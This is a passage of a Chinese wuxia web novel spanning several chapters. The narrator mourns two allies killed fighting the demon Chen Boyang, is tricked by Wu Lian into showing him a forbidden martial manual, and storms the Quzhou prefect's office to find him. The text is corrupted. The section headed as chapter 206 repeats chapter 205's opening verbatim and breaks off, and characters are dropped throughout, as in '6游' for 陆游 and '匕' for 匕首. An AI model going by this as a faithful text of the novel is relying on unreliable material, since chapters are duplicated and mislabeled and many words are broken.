陈伯洋肆虐地笑着:“来啊,杀我啊!你们不是要屠魔吗?不是要杀我吗?来啊!” 6游似乎忍无可忍,他想要上前,却被我拦了下来。我说:“不要去送死,你一个人绝不是他的对手。” “难道就要这样坐以待毙吗?”6游愤然说道。 忽然,人群中出一声如雷般的怒吼,震天彻底。吼声起时,周望安跳跃而起,举着虎牙剑冲向了陈伯洋的后方。 真是琢磨不透。偷袭便是偷袭,他为何要先吼一声? 这一声吼顿时引起了陈伯洋的警觉。他掌心向后微微一摆,一股劲风出,将腾在空中的周望安直接吹了回去。 周望安躺着地上时已经不再动弹了。我凝视了许久,心中一直暗暗在喊着,站起来,站起来啊! 但是,周望安再也没有起来。 他成了一具冰尸,永远地离开了这个江湖,就连最后道别的机会都没有留给我。 为什么?为什么这些人信誓旦旦地召开屠魔大会,但当他们要屠杀的魔出现在他们面前的时候,除了周望安之外却连出手的人都没有? 我不禁开始怀疑,他们召开屠魔大会的目的真的是就是屠魔吗?还是以这样一个噱头召集各大门派,实则是另有盘算。 不管怎么样。有一个不可忽略的问题——如果不能制服陈伯洋,那么所有的人都将死在这里。 2. 有的时候,看似非常艰难的问题,却会被一个不起眼的人解决。 这个人便是李霄汉。 他曾对我说过, 他可以从陈伯洋身上偷走那本摩诃钵特摩咒。但我在后来却也给他说了另外一句话。 我告诉他,他可以偷走一个人的东西,同时也应该可以将匕送进别人的胸膛。 李霄汉惊讶不已,他说,他从来都没有想过这个问题。他们是神偷门,练得都是偷人东西的本领,从来都是在别人身上拿走什么,却不会在别人身上留下什么。 我当时只是无心的一句。我说,你可以试试。 于是,李霄汉便真的试了。 他成功了。 他比周望安聪明许多,不会在出手偷袭的时候,还要大吼一声来提醒敌人。他身子一晃,脚下无声无息,却以极快地度接近了陈伯洋。 陈伯洋疯癫的脸上笑容骤然消失。一把锋利的匕从陈伯洋的后背刺了进去。 “砰!” 陈伯洋反手对着李霄汉胸口一掌,将他击飞。 我强撑着身子跑到他跟前,将他扶起来的时候,已是浑身冰冷。李霄汉已经活不成了,他的脸上已经毫无生机可言。 “我,我才是......盗,盗圣,对不对?”李霄汉拼尽全身力气,他的手缓缓地伸向了我的手。我伸过手去接,却现他手心里攥着的是一本绢布包裹的书册。 摩诃钵特摩咒。 李霄汉笑了。他再也没有了气息,那只已经冻僵的手将书册留着我手上,然后重重地垂了下去。 陈伯洋遭受偷袭。李霄汉的这一刀又准又狠,直中陈伯洋要害。他中刀的地方,应当是人体血脉密集之处,寻常人此处中刀,只怕不出一时三刻便会因失血过多而死。 然而,已经练了摩诃钵特摩咒的陈伯洋很显然已经不能用寻常人来比较。他根本没有流血,虽然他那痛苦的表情告诉我,这一刀的确令他伤得不轻。但陈伯洋的伤口滴血未出,即便是在他将那把匕拔出来之后,他也没有流一滴血。 “他,他受伤了!”司徒清尘兴奋地喊道,“大家一起上,杀了这个魔头!”南华派率先响应,其他门派紧跟其后,一时间大约有几百人从四面八方像饥饿的蚁群一般涌向了陈伯洋。 “轰!” 不知陈伯洋使了什么样的招式,但人群中疾风骤起,随即冲着最前面的十几人被卷到半空。陈伯洋对着空中连数掌,十几人落下,已是不可活了。 但这些人中,却并没有司徒清尘。 因为,往往喊口号让大家冲上去的人,都不会奋斗在危险重重的一线。 陈伯洋的一招将数百人吓得又退了回来。他像一头暴虐的狮子一样,冲着人群吼了两声,又将众人吓得退了几米。 突然,陈伯洋身子一晃,化成一道红影闪过人群,消失了。 就这样让他跑了?! 我无法接受这样的结果。但是,极度的疼痛已经让我顾不得再去追究什么。我只觉得身体冷,眼前一黑,便已经失去了知觉。 但在失去知觉前,我却拼尽了全身所有的力量,将那本摩诃钵特摩咒的秘籍牢牢地攥在了手里。 第二百零三章 商议 ()1. 若不是经历周望安与李霄汉的死,我想我不会那样深地痛恨这个江湖。 我醒来的时候,第一眼看到的是余十三。他见我睁开眼睛,露出一丝喜悦。 “你终于醒了。”余十三笑道。 胸部的伤口依然很痛。看着周边陌生的环境,我问:“这是哪里?” 余十三说:“这个地方,叫古井镇,距离台州城四十余里。” “是谁……”我正想了解我是怎么来到这个地方的,却见柳无风出现在我的眼前。 “是我带你来的。”柳无风说。 我问:“你怎么会把我带到这里?” 柳无风冷哼一声,说:“当日我发现钱袋被偷,料想是李霄汉那小贼所为,于是返回台州城找他算账。只是我去了晚了些,找到你们时,他已经死了。我便将你带到了这里。” 我问:“陆游呢?” 柳无风说:“他有要事在身,已经走了。” 走了…… 我忽然感觉很失落。因为,这个时候,比起柳无风我更想和陆游在一起。并不是我讨厌柳无风,只是我希望陆游可以在我痛苦的时候给我一些宽慰。而不是像柳无风这样,总是一张冷冰冰的脸。 “这次你做得很好。”柳无风突然说道。 很好? 我苦笑,问:“好在哪里?” 柳无风说:“至少各大门派没有作乱,而且你还重伤了陈伯洋。” 我说:“不是我。是李霄汉。” 柳无风说:“不管是谁。这份功劳都会算在你身上。” 我问:“为什么?” 柳无风说:“因为李霄汉已经死了,死人是不会和活人抢功劳的。我会上报皇上,为你请赏。” 我不在乎。我更不想和死人抢功劳。 我说:“你告诉皇上,是李霄汉伤了陈伯洋。” 柳无风眉头一皱,问:“这是为何?要知道,皇上不会给死人赏赐的。” 我说:“那就让皇上追封李霄汉为盗圣吧!” 2. 绍兴二十年八月。 台州城外古井镇。我告别柳无风,带着余十三走向了另外一条路。 柳无风问我,要去哪里? 我没有告诉他。经台州城一战,余十三痛失右臂,周望安和李霄汉丧命,而我也已经身受重伤。 纾瑶和余青儿依旧没有下落。 而这个怯于外战只勇于私斗的江湖已经让我失望到了极点。 我感觉自己已经被掏空了,很疲惫。我需要一个安静的地方好好地休整。好好想想,怎么样才能让已经发疯的陈伯洋告诉我纾瑶的下落。 而我能想到的地方只有一个。 余十三默不作声地跟在我身后,许久,终于开口问:“我们去哪里?” 我长长地叹息了一声,却叹不尽心里的无奈。 我说:“藏龙涧。” 一番跋涉。我终于回到了阔别已久的藏龙涧。 其实,离开也并没有太多时间。只是经历的多了,看着物是 人非的故居,想起当年的快乐时光,总感觉那已经是非常久远的事。 虽然失去手臂的时间并不长,但余十三很明显已经适应了独臂的生活。他可以凭借仅有的一只手臂,独立完成自己想要做的一切。平常如吃饭穿衣,复杂如狩猎甚至练剑。 左手剑法。余十三是一个练剑的天才,他悟性很高,在我都感觉无计可施的情况下,他竟然自己悟出了一套左手使用的剑法。 不仅可以接住我连发的一百一十三颗石子,更可以熟练地掌握我教给他的十一式剑招,并且融会贯通,出手稳迅兼备。 此时的余十三,应当已经是一个顶尖的高手了。 只是,他还未经历实战。或许连他自己都不知道,他所练成的这套武功到底拥有怎么样的威力。 到藏龙涧的第二天。 我从一片绚烂的阳光照耀中醒来,山风和煦而温柔,扫过身上让人觉得异常地舒服。曾经,我们一家三口,就是这样安静地享受着每一个舒适的早晨。 只是如今,当年最平常不过的事情已经成了奢望。 余十三只手提着一些野果,沿着清澈小溪走来。相隔数丈,余十三将一个野果抛给我。那只野果速度很快,成一条直线向我飞来。 我伸手接住,却觉得手掌向后一顿,手心一阵酸疼。 好强劲的力道。我不禁感叹。 余十三悄然之间发生的变化,让我感到惊讶。我很诧异,到底是什么时候开始,余十三的功夫竟突飞猛进。 余十三走到我跟前,对我说:“这些野果应当没有毒。” 我说:“我当然知道。我在这里生活了很多年。” 咬一口野果,那是如此熟悉的味道,感觉胜过天下一切的美味珍馐。只是当年与我一同吃着野果的人,已经不在了。 百无聊赖的一天,我和余十三几乎是从发呆中度过。 我是一个不善言谈之人,余十三则是一个不喜言谈的人。两个人就像哑巴一样,没有几句交流。直到日沉西边,暮色四合,余十三才站起身来说了一句:“我再去摘些野果。” 他刚走出两步,却又退了回来。我问他:“你怎么回来了?” 余十三说:“有人来了。” 我起身一看,竟然是武炼。 “你怎么会到这里来?”我很惊讶。 武炼带着善意的笑容,说:“自然是来找你。” 找我? 我问:“找我何事?” 武炼说:“陈伯洋并没有死。” “所以呢?”我问。 武炼说:“所以......我们应当尽快找出一个对付陈伯洋的方法。” 我说:“那你们去商量便是了,何必再来找我。”反正,我的话他们也不肯听。 武炼似乎看穿了我的心思,他笑着说:“当日并非我们青云派不愿听从你号令,实在是我们武功低微,与陈伯洋那等邪功相差甚远,即便是冲了上去,也不过是白白送死。” 我毫无兴趣。我说:“当日之事,已经与我无关了。就像司徒清尘所说的那样,我们还是各行其道吧。” 炼沉吟了片刻,笑着走到我身边,小声说:“姬兄,你与我青云派渊源颇深,我师尊更是有恩于你。你应当知道,陈伯洋修炼邪功为祸江湖,谁若能率先除了他,在这江湖上声望地位定会高涨,此乃天赐良机。” 天赐良机? 我不甚明白,问:“你为何要跟我说这些?” 武炼的笑容越发迷离,他围着我饶了半周,说:“姬兄,其实......我此次前来......并不代表青云。” 我更感费解,问:“那你代表谁?” 武炼说:“代表我自己。” 我突然觉得很生气。这么多年来,我一直很讨厌这种说话云山雾绕,废话说了一大堆都让人摸不清楚本意的人。 我说:“你开门见山地说话。” 武炼笑了笑,说:“姬兄,我知道你身负皇命,出任江湖事物协理司主事一职,为江湖挑选继任武林盟主......” 我心中一惊,问:“你是怎么知道的?” 武炼笑着说:“姬兄莫要关心我是怎么知道的。姬兄应当关心的是,如何在这风起云涌,倾轧纷争的江湖中,挑选出一位不受质疑又另皇上满意的武林盟主。” 我说:“其实,我并不关心。” 武炼一拍手,道:“我就知道姬兄不愿将这武林盟主的宝座拱手相让。” 我说:“我不是这个意思。” 武炼却很激动,他向我躬身行礼,说:“姬兄,武林盟主历来都是强者居之,以你今时今日的武功,自然是武林盟主的不二人选。我武炼愿鼎力相助,力支持姬兄就任武林盟主。” 我连忙解释:“你误会了,我并不想当......” 武炼摆了摆手,说:“姬兄不必瞒我,我诚信投靠,你对我尽可以坦诚相见。只是,我力相助,还希望事成之后,姬兄可以帮我一件事。” 我一时好奇,问:“什么事?” 武炼说:“姬兄先答应在下。” 我非常好奇,便随口答应:“好,我答应你。” 武炼说:“姬兄,不瞒你说,青云派掌门虽然是我师弟易小心,但当日师尊出殡之时你也在场,易小心能做得青云派掌门本就荒诞至极。而他做了青云派掌门之后,先是挑动青云派内斗,利用各方矛盾排除异己,引起同门不满,而后又撒手门派事物不管,整日见不着人影。门派中大小事务由我一人打理,想起来便让人觉得恼火。” 我不明白武炼为何要向我絮叨这些青云派的事,他所说的这些事情几乎都已经是江湖上人尽皆知的事,并没有秘密可言。但他的眼神却越发神秘,仿佛心里在盘算着什么极为不可告人的事。我问:“你究竟是什么意思?” 武炼脸上突然严肃起来,他说:“我要做青云派掌门。” 我心中巨震,武炼竟然生出了篡夺掌门之位的心思。看着武炼凶狠的模样,我不禁想起当年那个如雪一般圣洁的白景行。不知道他泉下有知,会是怎么样的心情。 我说:“你要做青云派掌门应当去找易小心,而是不是找我。” 武炼愣住了,他说:“可,可是,我打不过他。” 第二百零四章 约定 ()1. 我对武炼说,我不会帮他做任何事。 武炼对我的拒绝深感意外。他说:“莫非你信不过我?” 我说:“并非是我信不过你。而是我根本无意做什么武林盟主。我之所以重出江湖,是为了找到我的女儿。” 武炼恍然,说:“难怪你一直在向陈伯洋追问你女儿的下落。莫非你女儿的失踪与陈伯洋有关?” 我说:“不错。正是他带走了我的女儿。” 武炼突然露出一丝狡黠的微笑,说:“既然如此,你更应当与我合作。” 我问:“为什么?” 武炼说:“因为,我有办法可以让你打败陈伯洋。” 我心中一惊,忙问:“什么办法?” 武炼收起笑容,说:“不过......既然你不愿做武林盟主,那么事成之后......” 我说:“你想怎么样?” 武炼说:“我不仅要做青云派掌门,我要你保举我做武林盟主。” 这真的是一个贪婪的人。虽然,我与武炼并不熟识,但过去的这些年里总也打过几次交道。从前的印象里,他是一个老实本分的人。白景行在世之时,曾经偶然提到过他的几个弟子,他对武炼的评价是,只知道闷头做事,从不见他去计较得到什么。 可如今,不只是岁月残忍,还是现实残忍,竟然让武炼的心性变成了这番模样。 武炼见我不回答,有些迫不及待,他说:“这于你并无损失。既然你无心争夺武林盟主之位,何不将这位子让与青云门的人来坐?毕竟师尊与你之间关系匪浅,我想若他老人家泉下得知是青云门的人得了武林盟主之位,他定然也会含笑九泉的。” 不会的。 我想白景行一定会感到悲哀,以他的性格,当年若不是情势所迫,他一定不会在乎什么武林盟主的虚名。若不是因为这个盟主的位子,他也不至于落得那样一个结局。 但我还是答应了武炼。因为,我需要知道他所说的可以打败陈伯洋的方法。那对于我来说,比任何事情都要重要。 我说:“你现在可以告诉我怎么样打败陈伯洋了吧?” 武炼说:“若我现在告诉了你,事成之后你若反悔,而我又不是你的对手,那我岂不是吃了哑巴亏?” 我顿时一阵愤怒,扼住武炼的咽喉,喝道:“你敢耍我!” 武炼并没有反抗,他说:“若你杀了我,你永远也别想知道摩诃钵特摩咒的秘密!” 摩诃钵特摩咒?! 我慌忙将手松开,问道:“你怎么知道摩诃钵特摩咒?!你有破解之法?” 武炼的脸上带着令我恶心的笑,他说:“我当然是知道,若手中没有些要紧的筹码,我也不敢来藏龙涧与你谈条件!” 夏尔马曾说,摩诃钵特摩咒一直被藏在天竺。当年沽叶法师一时失误将它从天竺带到了大宋,进献给了高宗皇帝。而后曾有两人因练习此武功发疯,一个是皇宫内敬守佛堂的僧人,一个是当年少林寺的住持。二人皆被少林寺金刚罗汉所制服,此后的几百年里,摩诃钵特摩咒一直被当做金刚伏魔功被藏在少林寺经阁之中。若不是金军南下,少 林寺扬州遭难,这本至阴至邪的秘籍或许永远都不会再出现。 武炼到底有什么破解之法? 武炼背过身去,我看不到他的表情。只听见他说:“你一定是在怀疑,怀疑我是不是真的知道摩诃钵特摩咒的秘密。” 我说:“不错。” 武炼说:“你可知道我与摩诃钵特摩咒的渊源?” “什么渊源?”我问。 武炼说:“你可知道,当年沽叶法师有一个弟子?” 弟子? 我从未听过,夏尔马从来没有告诉过我。 武炼说:“沽叶法师在少林寺盗取摩诃钵特摩咒秘籍之后,一路逃往天竺,却在中途遇难。但他将摩诃钵特摩咒的秘密告诉了他的弟子,让他的弟子带着这个秘密逃了出去。沽叶法师嘱咐弟子,若有一日摩诃钵特摩咒为祸人间,就以他所说的办法化解。” 我问:“你怎么会知道这些事?” 武炼微微一笑,说:“那弟子逃走之后,至此隐姓埋名,化名......武至,乃是我的先祖!” 我抑制不住心中的兴奋,问:“什么办法?是什么办法?” 武炼却摇了摇头,说:“这个办法......我现在不能告诉你。” 我一阵愤怒,暗下决心,就算是用最残忍的刑罚逼问他,也要让他说出这个办法。 突然,武炼转过头来,他的眼睛像鹰一样锐利,目光似乎是能穿透我的内心。他说:“你最好不要想逼我说出来。如果你那么做,我会带着这个秘密......自尽!” 空气突然安静了下来,我和武炼就这样僵持了很久。 我想,不如用个激将法。我说:“我怎么知道你说的是真的?你先说出来,让我听听真假。” 或许,我这个激将法用得实在是拙劣,连余十三头忍不住扭过来头去。 武炼哈哈大笑,说:“有意思,有意思。竟然用糊弄三岁孩童的办法来糊弄我......这些年来,你的确是没多大长进。” 我被他激怒了,握紧拳头,说:“你到底说还是不说。” 武炼说:“我当然会说。我们既然已经约定合作,自然彼此都要拿出些诚意。我已经将我家先祖的秘密告诉你了,你总也应当拿出些诚意来。” 我说:“你想要什么诚意?” 武炼说:“我要......那本秘籍!”他伸手指向我怀中。 我一把捂住胸口,说:“你休想!” 武炼微微一笑,说:“你不要紧张,我并不是要拿走那本书,我只是想看一看。” 我说:“你看它作甚?” 武炼说:“我先祖传下一套破解之法,但却是一些十分晦涩难懂的口诀,与寻常内功心法有极大的不同,十分令人费解。所以,我想看一看摩诃钵特摩咒的原本,或许两者结合,其中不明之处便可迎刃而解。” 我有些犹豫,说:“你只是看一看?” 武炼摊开双手,说:“我一不带兵器,二又不是你对手,即便是你把书册给我,我也根本没有能力带走。” 我冷笑道:“谁不知道你武炼凝气成剑的功夫?你带不带兵器 ,对你根本就没有什么区别。” 武炼一怔,呵呵笑了起来,说:“那这样,你让你这小兄弟拿着,我自己翻页,你在一旁守着,这样可好?” 我看了一眼余十三,却见余十三暗暗摇头,示意我不要答应。我问,为何? 余十三没有回答。 我将摩诃钵特摩咒的秘籍直接递到武炼手中,说:“你看吧,不要动什么歪心思,我就在旁边盯着你。” 武炼异常兴奋,他急忙接过秘籍,说:“一定,一定。我看完即刻奉还。” 莫约过了一盏茶的功夫,武炼以极快的速度将书册从头到尾翻了一般。不知是为何,他额头上竟然布满了细密的汗珠。 武炼抹了一把额头的汗珠,笑着将书册递还给我,说:“完璧归赵。” 我迫不及待地问他:“怎么样?现在可以说出破解的办法了吧!” “呃......” 武炼面露难色,他说:“当然可是,只是......” “只是什么?”我问。 武炼说:“这破解的功法乃是我祖传之物,我自然不能随身携带。仅凭印象中记下的寥寥几句,却也不能够当即参悟其中的奥妙。不如这样可好,我们约在七日之后,衢州城见,我祖宅就在衢州,到时候我二人静下心来,共同参悟如何?” 我虽然有些失落,但眼下也只好如此了。 我对武炼拱手说道:“一言为定,七日之后,衢州城见。” 武炼急忙还礼,郑重其事地说:“不见不散。”说罢,他转身离开,步履极快,似乎是十分焦急地样子。 “站住!” 突然,一直在我身旁一言不发的余十三大喊了一声。他身子一晃,疾步移到武炼跟前,挡住武炼的去路。 武炼身子一颤,神色惊慌,但很快便镇定下来。他说:“这位小兄弟因何拦住我去路?”然后,他用一种诧异的眼光看着我,说:“是姬兄还有何事?” 我问余十三:“你怎么了?” 余十三死死地盯着武炼说:“不能让他走!” 武炼身子一颤,但并没有说什么。我问:“为什么不能叫他走?” 余十三皱着眉头,说:“我一时说不清楚,总之绝对不能让他走。” 武炼冷哼一声,说:“姬兄,你我既然已决定同盟,去又让你手下的拦住我去路,不知是何用意啊?!” 我拉住余十三,说:“你快让开。” 余十三说:“若让他走了,后患无穷!” 其实,余十三说的是对的。虽然他不是极聪明的人,但他却已经隐约觉得武炼突然出现在藏龙涧中,并跟我说了两章的废话,其中很是蹊跷。 只是情急之下,余十三说不清楚。 而我,毫无察觉。我只当是余十三一时又犯了倔强的脾气,以一些莫须有的借口故意阻拦武炼离开。 我将他拉到一旁,喝道:“快让开。这事与你无关。” 余十三愣了愣,在他眼中我看到了一丝......失望。 但我没有多想,只是向武炼草草说了两句道别的话,便目送他离开了藏龙涧。 第二百零五章 被骗 ()1. 武炼走后。余十三向我表现出了他的不满。他一直闷头不与我说话,无论我如何问他,他都只是低着头做自己的事情。 我忍无可忍,抢过他手上洗了一半的衣服,冲他吼道:“你到底为什么不让武炼走?” 余十三盯着我,沉吟了半晌,说:“我觉得他不可信。” “为什么?”我不解。 余十三说:“我只是觉得,如果他说的话都是假的呢?” “可是......”我疑惑,问,“他为什么要说假话?” 余十三说:“为了让你相信他。” 我说:“即便是我相信了他又能怎么样?我既不会帮他做武林盟主,更不会帮他杀了易小心。我之所以答应,只是为了让他说出破解摩诃钵特摩咒的办法。这件事总体来说,应当是我赢了。因为,他已经答应把那个秘密告诉我,而我却并不准备履行诺言。”我为自己的睿智而得意洋洋。 但余十三的表情没有缓和,更别说是一丝一毫的崇拜。他说:“并不是这样。” 我问:“你什么意思?” 余十三说:“你有没有想过......有可能他要的根本就不是你帮他做武林盟主或者杀了易小心。” 我诧异,问:“那他要什么?” 余十三说:“你的那本书。” 摩诃钵特摩咒? 我将它从怀里掏了出来,在余十三的眼前晃了晃,说:“那又如何,他并没有得逞。” “或许......”余十三眉头皱起,说,“他已经得逞了呢?” “怎么会?”我感觉余十三的脑子是不是出了什么问题,我说,“这本书不是就在我手上吗?他几时得逞了?” 余十三沉默了片刻,说:“但愿......是我想多了吧。” 2. 余十三并没有想多。 七日后,我带着余十三去赴衢州城之约。可是,当我到了衢州城之后,却是一阵茫然无措。 衢州城......真的很大。而武炼并没有告诉我到衢州城何处找他。 “你被骗了!”余十三毫不留情。 “不可能。”我依旧坚持,“既然衢州城是他祖籍之地,那么我们只需要找到姓武的人家就好了。” 余十三说:“这么大的衢州城,你到哪里去找?” 我微微一笑,说:“当然是衙门。” 找人这样的事情,自然要到衢州府衙门里最方便。官方的信息虽然不完准确,但总好过漫无目的寻找。 我走到衢州府衙门前,几个把手府衙的差役将我挡在门外。 一个大胡子瞪着眼睛叫道:“何人如此大胆,竟敢直冲知府衙门,莫非是不要命了?” 我向余十三使了一个眼色。余十三心领神会,并且表现出一种兴奋。他冲到大胡子跟前,冷冷地说:“你们让开一条路,或者......我杀出一条血路。” 大胡子打量了余十三一眼,目光中满是轻蔑。他说:“哪里来得臭小子,不知天高地厚,竟敢......” 话未说尽,大胡子“噗”地一声喷了一口气,满脸憋得通红,缓缓跪到了地上。 余十三在衣服上抿了抿拳面,说:“你们让开一条路,或者我杀出一条血路。” 剩下的几名差役被余十三吓傻了,怔怔地站在原地,半天一动未动。终于,有一 个胆量稍微大一点的瘦子,也许并不是因为胆量大,只是距离余十三最远。总之,他惊叫了一声“快来人啊!”然后,疯狂地跑进了知府衙门。 “快来人啊!有人闯衙门啦!快来人啊!有人闯衙门啦!快来人啊......” 声音越来越小。另外几人战战兢兢,不敢阻拦,也不敢后退。但有些事情终究是躲不过去,余十三迈着嚣张的步子,一步步逼近门口。 终于,有一人不堪忍受,提刀劈向余十三。 “嗖!” 黑影一闪,一颗石子从余十三手中顷刻飞出。跑来劈余十三的那人腹部被石子击中,身子一屈,也是“噗”的一口,姿势与大胡子相差无几。 还剩下三人,此时已是吓得魂飞魄散。 但凡是有点手段的人大多都有些残缺。李小谦就曾经跟我讲过一个神雕大侠的故事,据说他武功了得,也是独臂,行走江湖带着一只如人一般大小的雕。 我看着余十三的背影,顿时感觉画面有些诡异。夕阳像血一样的红,打亮余十三的背影和飘然的长发,一直空荡荡袖管在傍晚的微风中微微摆动。那感觉,真的很想李小谦向我描述的神雕大侠。 而我是什么? 我摇了摇头,不敢想象。 突然,衙门内响起一片杀声。数十个差役提着刀枪棍棒将我们团团围住。 “来者何人,竟然敢在知府衙门闹事!”领头的壮汉厉声喝道。 余十三说:“你们让开,或者......” 我没等他说完,就将他拦了下来。因为,我想要的效果已经达到了。我并非真的相让余十三大闹知府衙门,因为那样知府衙门一定不会放过我们,即便是那些差役不能将我们怎么样,但被一群官府的人没白没黑地搜寻骚扰,也会令我们在衢州城待得十分艰难。 我总结,当你要找一个你并不熟悉的人办事时,总要事先给他一个下马威,这样会起到事半功倍的效果。 余十三就是那个下马威。 应当适可而止了。我向高站在衙门口石阶上的领头壮汉喊道:“江湖事物协理司主事姬旦丙,求见衢州知府大人。快去通报一声。” 领头的壮汉上下打量我一边,一挥手,喊道:“拿下!” 拿下? 我没听错吧! 正在我疑惑的时候,几个人手拿绳索和捎棍向我冲了过来。 这时候我才意识到,赵构封给我的这个头衔,并不好用。真是好用的,还是余十三的拳头和匕首。 余十三两三拳将冲过来的人打翻在地,一个健步冲上石阶,匕首抵住领头壮汉的脖颈,喊道:“都给住手,不然我杀了他。” 领头壮汉意外地从容,他一副生死不惧的表情,冷冷地说:“杀了我,你们休想离开。” 余十三说:“我们本来就没打算离开。” 我叹了口气,走到那壮汉跟前说:“我只是想见你们知府。你为何不给我通报?” 领头壮汉说:“知府大人岂是你们这等平民百姓说见就能见的?” 我说,我不是平民百姓。领头壮汉将头扭到一边,明显是不肯相信。 正僵持着,锦衣玉袍,身材矮胖的人,在两人的搀扶下快步走了过来。 “快快住手!” 矮胖的人,说:“犬子鲁莽,不知两位好汉有何事见我?” 我说:“我要见衢州知府。” 矮胖的人说:“在下便是。” 我上下打量一番,只见他身材与司徒清尘十分相似,但脸庞臃肿,满脸油光,身体孱弱,连走路都需要人搀扶,这一点比起武功高强的司徒清尘差得远了。 我说:“我是江湖事物协理司主事。” 矮胖的人一头雾水,满脸发懵:“恕在下愚钝,不知好汉所说的这个江湖事物协理司是何机构?” 我说:“是朝廷新成立的,无品。” “五品?”矮胖的人笑道,“既然是同朝为官,那边好说话了。我乃朝廷亲命衢州知府,从二品。” 他深出两个手指头,在我眼前晃了晃,却被余十三一把抓住,“咔”的一声,掰断了一根。 矮胖的人疼得哇哇直叫,被他称作“犬子”的领头汉子慌忙将他扶住,将他手指检查一番,登时大怒,骂道:“大胆!竟然敢伤我父亲!”说罢,抽刀砍来。 余十三不慌不忙,一个转身从我的腰间拔出了青光剑。剑光一闪,锐不可当,将领头汉子手中的刀砍作两截。 领头汉子惊骇之余,从其他差役腰间抽出两柄刀,左右各持。大喊一声“纳命来”,双刀轮转砍向余十三。 余十三先是后撤,而后突然袭击,一招幻影回击,先断领头汉子手中的刀刃,而后以剑横扫他小腹。 领头汉子的衣服上裂开一道口子,但并未伤及皮肤,可见余十三下手留了余地,并未妄动杀念。 矮胖知府或许是发现了自己儿子并不是余十三的对手,慌忙忍痛叫人将他拦下,对我说道:“好汉,在下有眼无珠,不知真英雄驾到。有何吩咐,还是入内详说。” 我拦下余十三,对矮胖知府说:“我想让你帮我查一个人。” 矮胖知府问:“什么人?” 我说:“我想知道,衢州城里有没有姓武的人家。” “姓武?”矮胖知府陷入思索,他摇了摇脑袋,说,“衢州人丁众多,一时半刻很难想起。”他伸手招呼下人,说:“来人,快名人去取户籍簿来好好查查。” “是。”一个差役领命离去。 矮胖知府笑着,对我说:“大侠还请入内休息片刻,等有了结果,我立马告知。” 我说:“好。”便带着余十三大步踏进衢州知府衙门。 入厅堂,知府令下人为我和余十三斟茶倒水,又端了一些鲜果,照顾得十分周到。他满脸堆笑,对我十分客气:“这位大人,恕在下耳目闭塞,却不知贵司是何时成立,官署何在,领何衔职,主司何事啊?” 我一句也没听懂,只好对他笑了笑,然后低头喝茶。 气氛变得很尴尬。矮胖知府满脸期待着我的解答,但我却不明白他的问题到底是什么。就这么尴尬了一会儿,我慌忙转移话题,问:“你......高姓大名?” 矮胖知府一愣,慌忙笑道:“下官姓周名博,草字知甚。” 周知甚? “好名字。”我称赞道。 “过奖,过奖。”周知甚客气地回应。 气氛再次陷入尴尬,我感觉每一刻的等待都过得尤为漫长。不知是过了多久,总之我进门只是还是残阳如血,一片昏黄,现在却是暮色四合,漆黑一片。 “启禀大人。”一个差役匆匆跑进厅堂,说,“小的遍差籍册,衢州城并无一人姓武!” 没有! 我惊地站了起来...... 第二百零六章 声极 ()1. 武炼走后。余十三向我表现出了他的不满。他一直闷头不与我说话,无论我如何问他,他都只是低着头做自己的事情。 我忍无可忍,抢过他手上洗了一半的衣服,冲他吼道:“你到底为什么不让武炼走?” 余十三盯着我,沉吟了半晌,说:“我觉得他不可信。” “为什么?”我不解。 余十三说:“我只是觉得,如果他说的话都是假的呢?” “可是......”我疑惑,问,“他为什么要说假话?” 余十三说:“为了让你相信他。” 我说:“即便是我相信了他又能怎么样?我既不会帮他做武林盟主,更不会帮他杀了易小心。我之所以答应,只是为了让他说出破解摩诃钵特摩咒的办法。这件事总体来说,应当是我赢了。因为,他已经答应把那个秘密告诉我,而我却并不准备履行诺言。”我为自己的睿智而得意洋洋。 但余十三的表情没有缓和,更别说是一丝一毫的崇拜。他说:“并不是这样。” 我问:“你什么意思?” 余十三说:“你有没有想过......有可能他要的根本就不是你帮他做武林盟主或者杀了易小心。” 我诧异,问:“那他要什么?” 余十三说:“你的那本书。” 摩诃钵特摩咒? 我将它从怀里掏了出来,在余十三的眼前晃了晃,说:“那又如何,他并没有得逞。” “或许......”余十三眉头皱起,说,“他已经得逞了呢?” “怎么会?”我感觉余十三的脑子是不是出了什么问题,我说,“这本书不是就在我手上吗?他几时得逞了?” 余十三沉默了片刻,说:“但愿......是我想多了吧。” 2. 余十三并没有想多。 七日后,我带着余十三去赴衢州城之约。可是,当我到了衢州城之后,却是一阵茫然无措。 衢州城......真的很大。而武炼并没有告诉我到衢州城何处找他。 “你被骗了!”余十三毫不留情。 “不可能。”我依旧坚持,“既然衢州城是他祖籍之地,那么我们只需要找到姓武的人家就好了。” 余十三说:“这么大的衢州城,你到哪里去找?” 我微微一笑,说:“当然是衙门。” 找人这样的事情,自然要到衢州府衙门里最方便。官方的信息虽然不完准确,但总好过漫无目的寻找。 我走到衢州府衙门前,几个把手府衙的差役将我挡在门外。 一个大胡子瞪着眼睛叫道:“何人如此大胆,竟敢直冲知府衙门,莫非是不要命了?” 我向余十三使了一个眼色。余十三心领神会,并且表现出一种兴奋。他冲到大胡子跟前,冷冷地说:“你们让开一条路,或者......我杀出一条血路。” 大胡子打量了余十三一眼,目光中满是轻蔑。他说:“哪里来得臭小子,不知天高地厚,竟敢......” 话未说尽,大胡子“噗”地一声喷了一口气,满脸憋得通红,缓缓跪到了地上。 余十三在衣服上抿了抿拳面,说:“你们让开一条路,或者我杀出一条血路。” 剩下的几名差役被余十三吓傻了,怔怔地站在原地,半天一动未动。终于,有一 个胆量稍微大一点的瘦子,也许并不是因为胆量大,只是距离余十三最远。总之,他惊叫了一声“快来人啊!”然后,疯狂地跑进了知府衙门。 “快来人啊!有人闯衙门啦!快来人啊!有人闯衙门啦!快来人啊......” 声音越来越小。另外几人战战兢兢,不敢阻拦,也不敢后退。但有些事情终究是躲不过去,余十三迈着嚣张的步子,一步步逼近门口。 终于,有一人不堪忍受,提刀劈向余十三。 “嗖!” 黑影一闪,一颗石子从余十三手中顷刻飞出。跑来劈余十三的那人腹部被石子击中,身子一屈,也是“噗”的一口,姿势与大胡子相差无几。 还剩下三人,此时已是吓得魂飞魄散。 但凡是有点手段的人大多都有些残缺。李小谦就曾经跟我讲过一个神雕大侠的故事,据说他武功了得,也是独臂,行走江湖带着一只如人一般大小的雕。 我看着余十三的背影,顿时感觉画面有些诡异。夕阳像血一样的红,打亮余十三的背影和飘然的长发,一直空荡荡袖管在傍晚的微风中微微摆动。那感觉,真的很想李小谦向我描述的神雕大侠。 而我是什么? 我摇了摇头,不敢想象。 突然,衙门内响起一片杀声。数十个差役提着刀枪棍棒将我们团团围住。 “来者何人,竟然敢在知府衙门闹事!”领头的壮汉厉声喝道。 